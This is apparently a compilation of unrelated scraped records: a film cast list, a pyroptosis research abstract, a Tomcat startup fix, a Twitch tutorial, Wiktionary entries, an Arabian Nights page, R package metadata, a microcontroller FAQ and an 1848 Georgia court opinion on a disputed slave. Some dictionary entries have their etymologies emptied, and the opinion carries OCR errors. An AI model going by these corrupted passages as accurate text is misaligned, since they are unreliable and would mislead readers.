* Zarina Wahab as Maa ji, Rajveer Singh's mother
* Shishir Sharma as Major Roy
* Mahi Soni as Aaradhya
* Ritu Shree as Bhoomi
* Abhijita Kashyap as Kriti
* Sidhi Jain as Suman
* Rizwan Kalshyan as Jai Singh
Soundtrack
The film's music was composed by Harpriet Singh Vig, Sajjad Ali Chandwani and Vijay Verma while lyrics written by Pooja Saini, Traditional, A. M. Turaz, Rajesh Manthan and Shakeel Azmi. | WIKI |
Northeastern University
Granzyme M-/Gasdermin E-induced pyroptosis conservation in mice
Grant Tucker with Dr. Pasi A. Janne (DFCI)
Granzymes, released by killer T-cells, have long been known to cause apoptotic cell death. Recent research, however, has shown that these potent proteins also contribute to an inflammatory form of cell death called pyroptosis. In this pathway, granzymes cut proteins called gasdermins, ultimately resulting in pyroptosis. My research focuses on the interplay between Granzyme M and Gasdermin E, which results in pyroptosis in human cells. I am studying if the same pathway is conserved in mouse cells, and how it can contribute to mouse tumor survival. This will require a range of experiments, from expression and purification of the proteins, to protein cleavage assays, and tumor models. Hopefully, data from these experiments will go on to prove the importance of Granzyme M and Gasdermin E in pyroptosis, and create a new target in the tumor therapy space. | ESSENTIALAI-STEM |
Remote start tomcat error - Neither the JAVA_HOME nor the JRE_HOME environment variable is defined
Problem description
remote connection to the server for application deployment, executing to tomcat when launching the script, an error occurred !
String sourcePath = config.getString(systemId + "SourcePath");
String targetPath = config.getString(systemId + "TargetPath");
String tomcatPath = config.getString(systemId + "TomcatPath");
boolean uploadFlag = UploadUtil.uploadFile(connection, sourcePath, targetPath);
if (uploadFlag){
//implement tomcat start script for
String tomcatshell = "sh "+ tomcatPath + "killTomcat.sh" + " && sh "+ tomcatPath + "bin/startup.sh" ;
int resCode = UploadUtil.exec(connection, sshIp, sshUserNm, tomcatshell);
System.out.println(resCode);
}else {
System.err.println("upload failed");
}
Console error
either the JAVA_HOME nor the JRE_HOME environment variable is defined At least one of these environment variable is needed to run this program.
Solution
1./etc/profile the file has already been configured java environment variable ;
export JAVA_HOME=/weblogic/jdk1.8.0_151
export PATH=$JAVA_HOME/bin:$PATH
export CLASSPATH=.:$JAVA_HOME/lib:$JAVA_HOME/jre/lib:$CLASSPATH
2.java -version the output is as follows :
java version "1.8.0_151"
Java(TM) SE Runtime Environment (build 1.8.0_151-b12)
Java HotSpot(TM) 64-Bit Server VM (build 25.151-b12, mixed mode)
it indicates that my environment variables are well matched, but in the startup.sh it didn't take effect during execution, so i want to startup.sh in the file
make environment variables effective ;
3.vim your tomcat path /bin/startup.sh
4. add the following command on the first line
source /etc/profile
source ~/.bash_profile
5. save and exit, execute application deployment remotely again, restart successfully !
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How To Change Your Twitch Username
Change Username Twitch Tutorials
How to change you twitch username. In this tutorial, I show you how to change your username on Twitch. Your Twitch username is useful for creating a Twitch brand and making your Twitch channel URL link. Your Twitch username is really easy to modify and can be changed in less than a minute. Please leave a comment if you have any questions while changing your Twitch username.
Video Tutorial:
Get Twitch Prime for FREE (Paid Link): http://amzn.to/2tOlPdH
Download Twitch here (Paid Link): http://amzn.to/2tNMbwm
Follow the steps below to change your Twitch Username:
1. Go to http://twitch.tv
2. In the top right of Twitch, select the arrow pointing down to reveal the Twitch menu.
3. In the Twitch menu select Settings.
4. Once in the Twitch settings, find the Username field under Profile Settings and select the edit icon to the right of your Twitch username.
5. Once the ‘Change your username’ page opens, enter your desired new Twitch username.
6. Once you have entered an available username, select Update.
7. You have now changed your Twitch Username.
More Twitch Tutorials:
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Beethovian
Etymology
From, alluding to composer (1770-1827).
Adjective
* 1) Of or pertaining to, in particular his style of music. | WIKI |
Seth Jones (disambiguation)
Seth Jones is an American ice hockey defenseman (born 1994).
Seth Jones may also refer to:
* Seth Jones (political scientist) (born 1972), American political scientist
* Seth Jones, a dime novel by Edward S. Ellis, in the E. F. Beadle series of the Beadle Company | WIKI |
laban
Etymology
.
Noun
* 1) fight, battle, match
Etymology 1
From, from.
Verb
* 1) to fight
Etymology 2
From.
Conjunction
* 1) because; owing to
Etymology
From.
Noun
* 1) fight; struggle
Etymology
.
Etymology 1
From. Compare 🇨🇬, 🇨🇬, 🇨🇬, and 🇨🇬.
Noun
* 1) fight; quarrel
* 2) match; contest; game
* 3) going against; opposition
* 4) fact or condition of being against or contradictory
* 1) going against; opposition
* 2) fact or condition of being against or contradictory
* 1) fact or condition of being against or contradictory
Adjective
* 1) against; contrary; opposed
Etymology 2
From with elision of. | WIKI |
Page:The Book of the Thousand Nights and One Night, Vol 9.djvu/226
196 the merchants came to him and said, ‘O Ali, hast thou spoken to him?’ ‘O folk,’ answered he, ‘I am ashamed to speak to him, though he owes me a thousand dinars. Ye consulted me not, when ye lent him your money; so ye have no claim on me. Dun him yourselves, and if he pay you not, complain of him to the king of the city, saying, “He is an impostor, who hath imposed upon us.” And he will quit you of him.’
So they repaired to the king and told him what had passed, saying, ‘O king of the age, we are perplexed concerning this merchant, whose generosity is excessive; for he doth thus and thus, and all he borrows, he gives away to the poor by handsful. Were he a man of nought, his heart would not suffer him to lavish gold thus; and were he a man of wealth, his good faith had been made manifest to us by the coming of his baggage; but we see none of his baggage, albeit he avoucheth that he hath a baggage-train and hath foregone it; and whenever we name this or that kind of stuff to him, he answereth, “I have great plenty of it.” Now some time hath past, but there appeareth no sign of his baggage-train, and he oweth us threescore thousand dinars, all of which he hath given away in alms.’ And they went on to praise him and extol his generosity.
Now this king was a very covetous man, more covetous than Ashab; and when he heard tell of Marouf’s generosity and openhandedness, covetise got the better of him and he said to his vizier, ‘Were not this merchant a man of immense wealth, he had not shown all this munificence. His baggage-train will assuredly come, whereupon these merchants will flock to him and he will lavish unto them wealth galore. Now I have more right to this than they; wherefore I have a mind to make friends with him and | WIKI |
Package: RColorBrewer Version: 1.1-2 Date: 2014-12-07 Title: ColorBrewer Palettes Authors@R: c(person(given = "Erich", family = "Neuwirth", role = c("aut", "cre"), email = "erich.neuwirth@univie.ac.at")) Author: Erich Neuwirth [aut, cre] Maintainer: Erich Neuwirth Depends: R (>= 2.0.0) Description: Provides color schemes for maps (and other graphics) designed by Cynthia Brewer as described at http://colorbrewer2.org License: Apache License 2.0 Packaged: 2014-12-06 23:59:42 UTC; neuwirth NeedsCompilation: no Repository: CRAN Date/Publication: 2014-12-07 08:28:55 Built: R 3.3.2; ; 2017-08-13 21:35:34 UTC; unix | ESSENTIALAI-STEM |
ZBasic and ZX microcontrollers.
Powerful microcontrollers for engineers, scientists, experimenters and hobbyists.
Frequently Asked Questions
Frequently Asked Questions
Q. How do I get started using ZX microcontrollers?
A. This is a difficult question to answer in a general way because, ultimately, it depends on what you already know. If you are familiar with the basic concepts related to electronics, microcontrollers and programming you can probably just jump right in. If not, you'll probably need to buy a book or two to help fill in the areas where you're not as strong.
For an introduction to some of the central concepts you'll need, the book Physical Computing by Dan O'Sullivan and Tom Igoe may serve you well. The book gives example circuits and code for several types of microcontrollers including the BasicX-24 microcontroller. Another book to consider is BasicX and Robotics by Chris Odom. These books are particularly useful since the 24-pin ZX devices (like the ZX-24p) are pin-compatible with the BasicX-24 and ZBasic is a superset of the BasicX language.
We recommend that you get started by using one of the 24-pin ZX devices, e.g. the ZX-24p. In order to use this microcontroller, you'll need a way to power it and a way to connect it to your computer. Although you can purchase from several sources a "carrier board" (e.g. the Parallax Board of Education) that is compatible with the 24-pin ZX devices, we recommend using a solderless breadboard because, although it takes a little more work to get set up initially, it is much more flexible in the long run. Solderless breadboards are available from a variety of sources in various sizes.
Lastly, if your computer does not have a standard serial port (9-pin or 25-pin) but does have a USB port, you'll also need a USB-to-serial port converter. Note, however, that some USB-to-serial converters are too slow to be useful with the ZX microcontrollers. The converters made by Parallax and our own USB Converter are known to work well as they are based on the second generation FTDI chips.
Q. How can I upgrade my BasicX-24 application?
A. The 24-pin ZX devices are a drop-in replacement for the BX-24. In most cases, you'll be able to simply recompile your project using the ZBasic compiler and be up and running. In some cases, the significantly faster speed of the ZX devices will reveal a latent timing issue in your application that will need to be addressed. Also, if your application directly accesses some of the processor registers of the BX-24, you may need to modify the register name slightly since the ZX devices use a different Atmel AVR processor than does the BX-24.
Q. How can I upgrade my Basic Stamp, BasicAtom, or PICAXE application?
A. If you're using the 24-pin Stamp-compatible form of these devices, you should be able to drop in a 24-pin ZX device. The more difficult part will be converting existing code written in the archaic form of Basic used by these devices to the more modern dialect of BASIC implemented by ZBasic.
Another issue you'll encounter is converting the PBasic commands that you're currently using to the equivalent ZBasic language elements or ZBasic System Library routines. In some cases, there will be a direct equivalent while other cases may require several lines of code to convert different units or scale factors, adapt for timing differences, etc. Our PBasic Conversion Guide describes how to convert applications written in PBasic and similar dialects to ZBasic.
Q. What is the difference between VM and native mode ZX devices?
A. With VM mode devices your application code compiles to an interpreted code (sometime referred to as pcode) whereas with native mode devices your application code compiles directly to native machine code. This means that, in general, your application code will execute more slowly on a VM mode device compared to a native mode device. However, in many cases, the difference in execution speed won't be noticed because your application is communicating with external devices and the speed of that communication paces the overall application speed.
An application compiled for native mode will generally have a larger code size than when compiled for a VM device; a factor of 2:1 is perhaps typical. Moreover, a native mode application will require larger stack sizes for each of the application's tasks. An application built for a VM mode device that uses most of the device's RAM space may not be able to run on a native mode device due to the larger task stack requirement. One other difference is that for a native mode application that uses multiple tasks, you have to be more careful about how you write the code that reads and writes multi-byte variables that are shared between tasks to avoid problems arising from a task switch in the middle of reading or writing the multi-byte data.
As a broad statement, native mode devices are intended for advanced hobbyists and experienced professionals who need the extra raw speed for more sophisticated applications, need the ability to implement their own interrupt service routines, or need to incorporate assembly language or C code into their applications.
Q. I have two ZX devices that look the same except for having different color paint dots. What is the significance of the paint dots?
A. The paint dots distinguish between different ZX models that are otherwise nearly identical. The color for each ZX device can be found in the ZX Device Parameters table, a link to which can be found below the ZX Family diagram on the main page of the ZBasic website. The ZX Device Parameters table is available both as a webpage and as an Excel spreadsheet.
Copyright © 2005-2013 Elba Corp. | ESSENTIALAI-STEM |
No. 24.
William L. Wynn, plaintiff in error, vs. John W. Lee, Trustee, defendant.
[1.] When the Statute of Limitations has once begun to run against an action to recover personalty, its rumiing is not stopped by the removal of the defendant without the State. As a general rule, when the Statute begins to run, it runs over every impediment.
[2.] By the laws of force In Georgia, there is no saving in favor of non-resident plaintiffs iu personal actions, against the operation of the Statute of limitations; the saving in their favor in the 9th Section of the Act of 1767, being repealed by the 2d Section of the Act of December, 1806. - ■
[3.] A title to personal proparty, acquired under the limitation laws of (his State, is not only a good defence, but will sustain an action for tbe recovery of the property.
[4.] Where A holds possession of personal property iu another State, until he acquires a title to it under the limitation acts of that State, and B purchases the property of him, and bringing it into this State, is sued for it, he may plead the Statute of Limitations of the foreign State, and his title acquired through A under it, in bar of the action. Provided, the limitation act of that State not only bars remedies, but also titles or claims', and provided, also, thesituation of the parties in thatState is such as thatthe Statuteof Limitations there may actually and fully operate upon the case.
[5.] In such a case, an exemplified copy of the Act of Limitation in that State, from the proper office, may be read in evidence under the general issue.
[6.] What constitutes the execution of a trust in personalty.
[7.] The English rule, that where a plaintiff demurs to a plea, the demurrer runs through the whole record, and it is the duty of the Court to look through the record, and give judgment against the party first in default, is not applicable to our Courts.
[3.] In the argument of a cause before the jury, the party entitled to the conclusion, shall state to opposing counsel the grounds in the pleadings upon which he expects to rely, and the points of law he intends to make to the Court, aud shall read or pi’esent to him the authorities which he intends to use. And the counsel, in conclusion, shall be confined, in his argument, to the grounds, points, and authorities thus exhibited.
Trover, Muscogee Superior Court, tried before Judge Alexander, May Term, 1848.
Such facts are stated in the opinion of the Court, as are necessary to a proper understanding of it.
Colquitt & Wellborn, and Johnson & Williams, for plaintiff in error. ,,
Holt, and Jones, Benning & Jones, for defendant.
J. Johnson, for plaintiff in error, submitted—
That judgment should have been given on the demurrer for defendant, because the declaration is defective. Stephens’ Pleadings, 143. Gould’s Plead. 474. 1 Kelly, 10. 3 Kelly, 81. 2 Kelly, 258.
The plaintiff should begin and conclude. 3 Blackstone, 290. Rules of Court. 38 English C. L. Reports, 94.
The exemplification should have been admitted under the general issue. Gould, 44, 306. Ibid. 376. 2 Saunders on Pl. & Ev. 887.
The demurrer is not well taken. 3 Kelly, 265.
The Court erred in the charge given upon the Statute of Limitations, and also in the refusal to charge. Prince, 557. Ibid, 579. Ibid, 904.
Argument of S. Jones, for defendant in error.
This action was brought by John W. Lee, trustee oí Mrs. Mary Ann McMillan. By the terms of the deed, the property was conveyed to John W. Lee, trustee, and limited to the use of Mrs. McMillan, (a feme covert,) for life, and then to her children ; and it was also stipulated that Mrs. McMillan should have the possession of the negroes. Defendant relies upon a bill of sale made by McMillan, the husband, and the Statute of Limitations of Mississippi, and of the State of Georgia.
And he contends that by the terms of the deed of trust, Mrs. McMillan is entitled to the possession of the negro, and therefore ought to have been the plaintiff in the action.
1st. As to the right of the trustee to sue.
The legal estate and title is in the trustee, and he holds, not only as trustee for Mrs. McMillan, but after her death for her children.
The cestui que trust, though the absolute owner in Equity, in Law is considered in the light of a stranger, and the trustee can bring any action respecting the trust estate in a Court of Law. Lewin on Trusts, page 247.
The right of the cestui que trust to the possession is recognised only in a Court of Equity ; for in a Court of Law, the cestui que trust is merely tenant at will or at sufferance. Ibid, 481. Willis on Trustees, p. 72, 73, 77, 84-5, 109.
A cestui que trust cannot recover in ejectment, unless a surrender to him of the legal estate can be reasonably presumed, &c. &c. And the cestui que trust has no alternative but to bring his action in the name of the trustee, &c. Ibid, 482.
This question was virtually decided by this Court in the case of Blake, trustee, vs. Irwin, 3 Kelly, 345-6.
The clause in that deed, relative to the possession of Blake, the cestui que trust, is very much like, indeed very similar to the deed before the Court. It is stronger for the cestui que trust than the deed to Lee.
The Court was unanimous that the legal estate was in the trustees, and that Blake had only an equitable interest. Ib. 365.
It was decided in that case, that the entire use was given to Blake, but the me only, and not the corpus. That he was entitled to the possession, but that possession was evidently not an inherent right, by virtue of the estate which he held, but bestowed upon him as the agent, rather, of the trustees.
Again, the clause was inserted in both deeds, (giving the cestui que trust the possession of the property,) to relieve the Court ot Chancery from the difficulty it might have felt in ordering the trustee to give the cestui que trust possession of the estate. That he had other uses or trusts to execute, for ho was charged with interest, not only of Blake, in the one case, and Mrs. McMillan in the other, (Blake might have children — Mrs. McMillan had them when the deed was executed,) but the interest of the children. I say,relieve the Court from that difficulty, for it is well «ettled that Courts of Chancery frequently, yea almost always refuse to order the trustee to give possession to the cestui quet trust, when there are remainder-men, or others interested in the uses he has to execute.
2d. Was the deed a good one under the laws of South Carolina, when it was executed 1 We say yes — non constat that there is any law of South Carolina, forbidding such a deed.
3d. That plaintiff’s right was barred by the Statute of Mississippi.
Statutes of Limitation prescribe the action or remedy, and not the contract; or, in the language of the authority, “prescnplio et executio n-m pertinent ad valorem constructus sed ad tempus et moclum act-ionis instituendae.” The case of British Linen Co. vs. George Harley Drummond, 21 Com. L. Rep. page 194. Huber vs. Steiner, 29 Ibid, page 304. 20 Ibid, 387. Imlay vs. McEllefsen, 2 East, 453. Decouche and others, vs. Lavetier and others, 3 Johns. C. R. 190. Ruggles vs. Keeler, 3 Johns. 261. Where the decisions arc reviewed and the principles affirmed.
All prove that when the Statute applies to the remedy or action, the law of the former prevails. When it relates to the effect of the contract, the law of -the place of the contract prevails.
The defendant, aware of the general rule, and that he can claim nothing under it, tries to set up a distinction in his favor. That the Statute of Limitations of Mississippi had run in favor of Lewis before Lewis sold to him in Mississippi, and he brought the negro to this State. To support this position, he relies on
Story on Conflict of Laws, page 487, section 582. Newby vs. Blakely, 3 H. & M. 57. Brent vs. Chapman, 5 Cr. 358. Shelby vs. Grey, 11 Wh. 362.
The distinction contended for by Mr. Story must be taken with the condition mentioned by him, and on which the decisions relied on by defendant were made, to wit:
Where the parties are resident within the jurisdiction, during the period prescribed by the Statute, so that it has operated actually and fully upon the case, and the Statute does not only extinguish the right of action, bui the claim or title itself, ipso facto, and declare it a nullity after the prescribed period.
Again, it must be remembered that it is not said to be the law of Mr. Story, but only contended for by him. In other words, it is admitted by him that the weight of authority is against him, while he advances the opinion which has been read.
The Court, if inclined to favor the opinion of Mr. Justice Story, will not certainly enforce it, when the facts do not place the parties in the situation which he contemplates.
They were not in the same jurisdiction during the period after which the action is prescribed.
Plow much soever we may generally yield to the force of the reasoning of Judge Story on this question, he must be compelled to give way to the force and legal power of the argument of C. Jus. Shaw, in the case of Bulgee vs. Roche, in delivering the opinion of the Court, where he ably sustains the opinion adverse to Judge Story’s. 11 Pick. 36. Story’s Con. L. 489, note to sec. 582.
Again, the defendant claims under Felix Lewis, who obtained possession in Georgia, and before the Statute commenced running, removed to Mississippi. By the Act of 1806, “ That when the defendant shall remove out of the jurisdictional limits of the State,” the action may be brought “ after the return of the defendant into the same” within the time before limited. Prince, 577.
Pbe defendant seeks to benefit by the possession of Lewis, under whom he claims. He must, then, be subject to the disabilities attached to Lewis.
But Wynn cannot attach the possession of Lewis to his, so as to make out a defence.
Wynn did not purchase from Lewis. He purchased at Marshal’s sales, in Mississippi, and no privity exists between him (Wynn) and Lewis.
Again, we say that Lewis purchased from McMillan, with a knowledge that it was trust property. He then, became a trustee with John W. Lee, and the Statute does not run in his favor against the rights and interest of the cestui que trust. .
4th. The Statute of Limitations of Georgia. The Statute of Georgia did not begin to run while Lewis remained in Georgia, and therefore, could not commence after he left Georgia, by reason of the provision of the Act of 1806.
It did not commence. The Act of 1767, sec. 9, jorovides for persons beyond seas. Wat. Dig. 141.
The expression, beyond seas, has, by numerous decisions, been extended to persons living out of the State. Murray vs. Baker, 3 Wh. 541. Forbes vs. Foot, 2 McCord, 331. Shelby vs. Gray, 11 Wh. 361.
John W. Lee, the trustee, resided in South Carolina, and had not been in the State while F. Lewis remained in it, nor had he been in Mississippi.
Defendant relies on the Act of 1817, taking away the disabilities of persons beyond the seas.
That can have no operation :
1st. Because, by its title, it is amendatory and explanatory of the Act of 1805, which was repealed before its passage.
And 2d. Because it intended only to explain it, so far as regards Idiots, Lunatics, and Infants, and not as regards persons beyond seas, and is to that extent unconstitutional.
M. J. Wellborn, in conclusion, for the plaintiff in error, argued that the Court below committed erior.
1. In charging the jury that the non-residence of the defendant in error within the jurisdictional limits Georgia, at the time of the conversion by Felix Lewis, of the slave sued for, prevented the Statute of Limitations of the State, from commencing to run against the action brought by him, against the plaintiff in error, in the Court below. The charge, in this respect, conflicts with the letter and spirit of the Act of December, 1806, and the recognition of that Act, as subsisting law, by this Court, in the case of Harrison, et al. vs. Walker, 1 Kel. Rep. 35. Certain exceptions to the running of the Act are stated in it, of which the non-residence of the claimant is not one, and therefore, by an invariable rule of construction, it cannot be implied. Paschal’s adm’r vs. Davis, 3 Kel. Rep. 265. Angel on Limitations, 204, 205, 206. Expressio unis est exclusio alterius.
2. The defence, so far as it was founded on the Statute ofLim itations or prescription of the State of Mississippi, was a good one. The truth of this proposition is affirmed in principle, by this Court, in the case of Paschal’s adm’r vs. Davis, cited above; and is adjudged to be law in those cases to which the Court iit Paschal’s adm’r and Danis approvingly refers, viz: Sims vs. Canfield, 2 Ala. Rep. new series, 561. Brent vs. Chapman, 5 Cranch, 358. Goodman vs. Munks, 8 Port. R. 94. Doyle vs. Bouler, 7 Ala. R. N. S. 246. The same doctrine is discussed and affirmed in substance, in the cases of Newby’s adm’r vs. Blakey, 3 Hen. & Munf. 57; Garth’s executors vs. Barksdale, 5 Munf. 101, and by the Supreme Court of the United States, in terms, in the case of Shelby vs. Guy, 11 Wheaton, 361. In all these cases, it should be observed that the Statutes of Limitations that were respectively passed upon, contained the usual provisions for the barring of actions merely, and touched not in terms the question of right of property or title. F or copies of the Acts referred to in the cases cited, see Angel on Lim. 2 edi. Appendix lxxxi xci. The right of Lewis, to have defended in the State of Mississippi, by authority of law, the possession of the property in question, at the time it was sold by the Deputy Marshal of Mississippi, to Wynn, is not disputed. Had the present action been instituted against Wynn in the State of Mississippi,! apprehend, as little doubt can exist of his right to have rested his defence there on the pi-evious possession of Lewis, through whom he derived title. Again, had Lewis, or Wynn, after the period for the bringing of the action in hand, by the laws of Mississippi, was expired, lost possession of the slave, could not the right of possession, that all will agree wouldhave been available asa defence, have been turned to the support of a suit brought to compel restitution ! This was the precise case of Neicby’s adm’r vs. Blakey, quoted from the 3 Hen. Sf Munf. as it was the case in effect of Garth’s executors vs. Barksdale, 5 Munf. 101. And what more, it is respectfully inquired, is necessary to clothe one with title to an article of property, than the legal right to defend and demand possession of it, and when possessed of it, to claim, use, and enjoy it, as one’s own, without risk, or responsibility to another? Wynn, then, by the laws of Mississippi, acquired, by the purchase of the boy, a good, title in Mississippi, and having done so, it is insisted that the title can be nothing the worse for having been transferred to this State. • Having, by negligence, lost his claim in Mississippi as against Lewis, how can the defendant in error ask to be allowed to recover it here, of one who with all the strength of Lewis’ claim in hand, is additionally still farther removed from the act of original conversion of the property, in which the right to sue, if it ever existed, sprang up ? What is this but to incur the absurdity and injustice so pointedly rebuked by the Supreme Court of the United States, in the case of Shelby vs. Guy, of “converting a title, good and valid in Mississippi, into a defeasible one in Georgia; sufficient title in the vendor into a defeasible title in the vendee.” Argumentum ab inconvenientiplurimum valet in lege,, is a maxim that bears with peculiar force upon the relation which the people of these States bear to this disputed question of right of property.
3. Yet more obviously did the Court err in overruling the ninth plea, taken by the plaintiff in error to the action below. That plea, as is seen, avers that by the laws of Mississippi, in the circumstances in which Wynn became the purchaser of the property in dispute, “ the cause of action” itself of defendant in error was extinguished. It is deemed unimportant to adduce authority to show that the Circuit Court mistook the law of the casein the respect here complained of.
4. That in respect of the refusal of the Court below, on the trial of the case, to charge the jury that if, from the evidence, they believed the said Lewis held possession of the slave for the periods of four and six years, (by analogy to the Statutes of Limitations or prescription of the States of Georgia and Mississippi, respectively,) under a claim of title, that said Lewis acquired thereby, an absolute title, the Circuit Court, in refusing to give the charge requested, flatly contravened the language of this Court in the case of Paschal’s adm’r vs. Davis, as also of the cases quoted from the 2 and 3 Hen. and Munf. and the 8 Porter. It is obsérvable that the cases just cited distinguish prescription from statutory limitations of actions, as such. An “analogy” is adduced from Statutes of Limitations, which is applied to cases in which Statutes of Limitations, eo nomine, might be deemed, for reasons simply technical, inoperative ; as Courts of Chancery, which, though not bound by Statutes of Limitations, ex proprio vigore, yet adopt and enforce them in circumstances similar to those in which they are enforced in the Courts of Law. For example, the issue decided in Garth’s executors vs. Barksdale, arose between a creditor, relying upon adverse possession in the debtor, for a period of time analogous to that fixed by the Statutes of Limitations of the State, and one representing the prior legal title. The Court regarded the possession, by analogy to the Statutes of Limitations, as equivalent to title in the debtor. On the other hand, and yet in pursuance of the same principle, when Doyle, a judgment creditor, sought to subject to execution, certain slaves as the property of Bout or, by tracing title to it in him, the claimant was adjudged to have shown in turn, a transfer of the title from the defendant in execution to herself, through the medium of adverse enjoyment of it, by her*; And in the case last mentioned, the Court, with characteristic good sense added, “ and the bar (growing out of the adverse possession,) will be recognized in any country into which the property may be taken.”
It may be allowable, in passing from this point in the case, to ask attention to the fact, that the Mississippi Statute of Limitations, while it provides certain exceptions in respect of persons to be affected by it, makes none infavor of non-resident plaintiffs.
5. Is it not true, that when the defendant in error delivered the property sued for, to Mrs. McMillan, the cestui que trust, in execution of the deed of trust, on which he founds his right to maintain his action, that he parted from the right of possession, without which he is in no event entitled to a verdict? The deed of trust conveys the property to the defendant in error, “ for the following uses and purposes, that is to say, to permit and allow the said Mary Ann McMillan to have the free and uninterrupted possession, use, occupation, direction and enjoyment of it.” Can, then, the right of possession in him co-exist with the right of possession in her ? This action is not brought by Mrs. McMillan, nor has it been shown that it was brought by her request or consent, even. Could she not have hired the boy to the plaintiff in error for a period of time not yet expired ? And if so, may she not have done it? There is no proof to the contrary of it. Hence, we conclude that the Court mistook the law in its charge in this particular.
By the Court.
Nisbet, J.
delivering the opinion.
This was an action of trover for a slave brought by Lee, trustee, &c., against Wynn. A number of points are made in the record. In the consideration of each question, I shall taire such facts as are necessary to the elucidation of each, and shall not state the facts at large in the outset. The defendant bought the slave at Mashal’s sale, in the State of Mississippi. He was sold then, as the property of one Lewis. Lewis bought him in Georgia, from the cestui que trust of the plaintiff, and held possession in this State, for several months; after which he removed to Mississippi, talcing the slave with him. Wynn, the defendant, having bought the slave in Mississippi, as stated, brought him back to Georgia, and here suit was brought against him for the property, by Lee, the trustee of Mrs. McMillan, who, with her husband, were the vendors to Lewis. To this suit Wynn pleaded the Statute of Limitations of Georgia. The plaintiff replied to the plea, that at the time of the conversion of the property by Lewis, (under whom Wynn claims,) and during all the time that he,Lewis, remained in the State of Georgia, he was a non-resident of the State, and within one of the exceptions in the Statute. And farther-, that if the Statute did-commence to run in Georgia, in favor of Lewis,' that he removed without the State, into the State of Mississippi, before the bar was complete; and that it ceased to run, upon his removal. The Court sustained these replies to the defendant’s plea, and he excepted. The latter of the two replies, made by the plaintiff to the defendant’s plea, I shall consider first.
In the construction put upon the Statute of James, (of which ours is, in many particulars, a counterpart,) in England, and in the construction of Statutes of Limitatiohs, very generally in the States of our Union, and in the construction which our limitative Act has received from our Courts, nothing is more firmly settled, as a general rule, than that, when a Statute has once commenced to run, it continues to run, over all impediments. There are some few exceptions, but generally, nothing whatever can resist its progress. The rule of limitation must be general; there can be no two, or more, or many rules. If it were so, the policy of the Statute would be defeated. If it were so, it could rarely be the means of quieting titles; it could rarely inspire confidence; it could not create repose. In England, the general rule is firmly established. In Duroun vs. Jones, Lord Kenyon said, “ I confess I riever heard it doubted, till the discussion of this case, whether, when any of the Statutes of Limitations had begun to run, a subsequent disability would stop the running. If the disability would have such an operation on the construction of one of those Statutes, it would, also, on the others. I am very clearly of opinion, on the words of the Statute of Fines, on the uniform construction of all the Statutes of Limitations, down to the present moment, and on the generally received opinion of the profession, on the subject, that this question ought not now to be disturbed.” 4 T. R. 310.
In Cotterell vs. Dutton, the whole Court lay it down as a general rule, “ when once the Statute begins to run, nothing stops it.” 4 Taunt. 828. See also Hickman vs. Walker, Willes R. 28. 1 Strange, 559. Gray vs. Mender, 1 Wilson, 134. Smith vs. Hill, 4 T. R. 406. 2 Salk. 420. 10 Mod. 206. 17 Vesey R. 934. In Waldon vs. The heirs of Gratz, the Supreme Court of the United States, through Chief Justice Marshall, say, “the counsel for the defendants in error, contend that after the Statute has begun to run, it stops, if the title passes to persons under any legal disability, and re-commences after sucha legal disability shall he removed. This construction, in the opinion of the Court, is not justified by the words of the Statute. Its language does not vary essentially from the Statute of James, the construction of which has been well settled — and it is to be construed as that Statute, and as all other Statutes of Limitations founded on it, have been construed.” 1 Wheat. 296.
The general rule is recognized in South Carolina. Faysoure vs. Prather, 2 Nott & McCord, 296. Adamson vs. Smith, 2 Const. Decisions, 273. Richardson vs. Whitfield, 2 McCord, 148.
In Massachusetts. 6 Mass. 328.
In Connecticut. Bush vs. Bradley, 4 Day, 307.
In New York. Chancellor Kent declares, “ that the general rule is, that when the Statute of Limitations once begins to rim, it continues to run on, notwithstanding any subsequent disability.” Peck vs. Randall, 1 J. Reps. 175.
In Pennsylvania. Hull vs. Vandergrift, 3 Binney, 385.
In Virginia. Fitzhugh vs. Anderson, et al. 2 H. D. M. 306.
In North Carolina. Andrews vs. Milford, 1 Hayw. 322. Ibid, 416. Cam. & Now. R. 92.
No doubt, also, in all the States.
Such being the general rule, is removal out of the State after the Statute has begun to run, an exception 1 It is not by the terms of the Statute, for our Statute makes no such exception. And it is expressly ruled not to be, by the Supreme Court of New York, in Peck vs. Randall, 1 Jonns. R. 165, and by the Constitutional Court of South Carolina, in Richardson vs. Whitfield, 2 McCord, 148.
So we are satisfied, that if the Statute in this case had begun to run, it did not stop, because the person in possession of the slave, (Lewis,) subsequently removed without the State.
It is, however, farther said, that at the timo of the conversion, and all the time that Lewis was in this State, the plaintiff' was a non-resident, and that by an exception in our own Statute, it does not run against a non-resident plaintiff. The fact of non-residence was proved on the trial. We find no such exception in the Statutes now of force in Georgia.
By the Act of 1767, in which is found the limitation upon actions of trover, of and in which is found the larger amount of our Law of Limitations, an exception is made, as to suits for the recovery of lands, in favor of plaintiffs beyond seas. This exception is found in the first, section of that Act. In the 9th section of that Act there is also an exception in favor of non-resident plaintiffs, in actions of trover. This is the section of the Act of 1767, upon which the defendant in error relies. We think that it is repealed. The whole Act 1767 was repealed by the Act of December, 1805, revived by the Act of June, 1806, as to all actions and causes of action, which originated under it; and in December, 1806, an Act was passed, entitled an Act to revive and continue in force, an Act for the limitation of actions, and avoiding suits in law, passed the 26th day of March, 1767, and to amend the 5th and 6th sections of said Act.” By the 10th section of the last named Act, the Statu'te of 1767 is declared to be fully in force, from the first day of February, 1793. It is argued that this Statute, which in the terms of the first section, revives the whole Act of ’67, as a matter of course, revives the'Mth section of that Act, which contains the exception in favor of the defendant in error. And so it would, if there was nothing else in the Act of December, 1806, but that section. But let us see farther. The second section of this Act of 1806, re-enacts in totidem verbis, the 9th section of the Act of ’67, except so much of it, as contains the saving in favor of non-resident plaintiffs, and in lieu of that, and precisely in the relative place in which that stood, in the 9th section of the Act of ’67, it substitutes a saving for plaintiff, where the defendant shall remove out of the jurisdictional limits of the State. Now, the Act of December, 1806, by its title, is not an act alone to revive and continue in force the Act of 1767, but it is also an Act to amend the 5th sections of the Act of 1767. The Legislature, then, judging of its object by the title, meant to revive that Act, except the 5th and 9th sections, and those sections, it intended to amend. Accordingly, it proceeded to revive it, and did, at the same time amend the 9th section, by re-enacting it, except the saving in favor of non-resident plaintiffs, which it omitted, and substituted in lieu of that saving, one founded upon the non-residence of the defendant. This statement is of itself conclusive, and would seem to need no illustration. Here is an amendment, to use a parliamentary phrase, by striking out and inserting. Can it be believed, that the Legislature meant that both the 9th section of the Act of ’67, and the second section of the amendatory Act, should stand ? If it did not mean to repeal the 9th section of the Act of’67, why re-enact it literally? And if it did intend not to repeal, more particularly that clause which relates to the saving, for the non-resident plaintiff', why when it in the new Act enumerates all 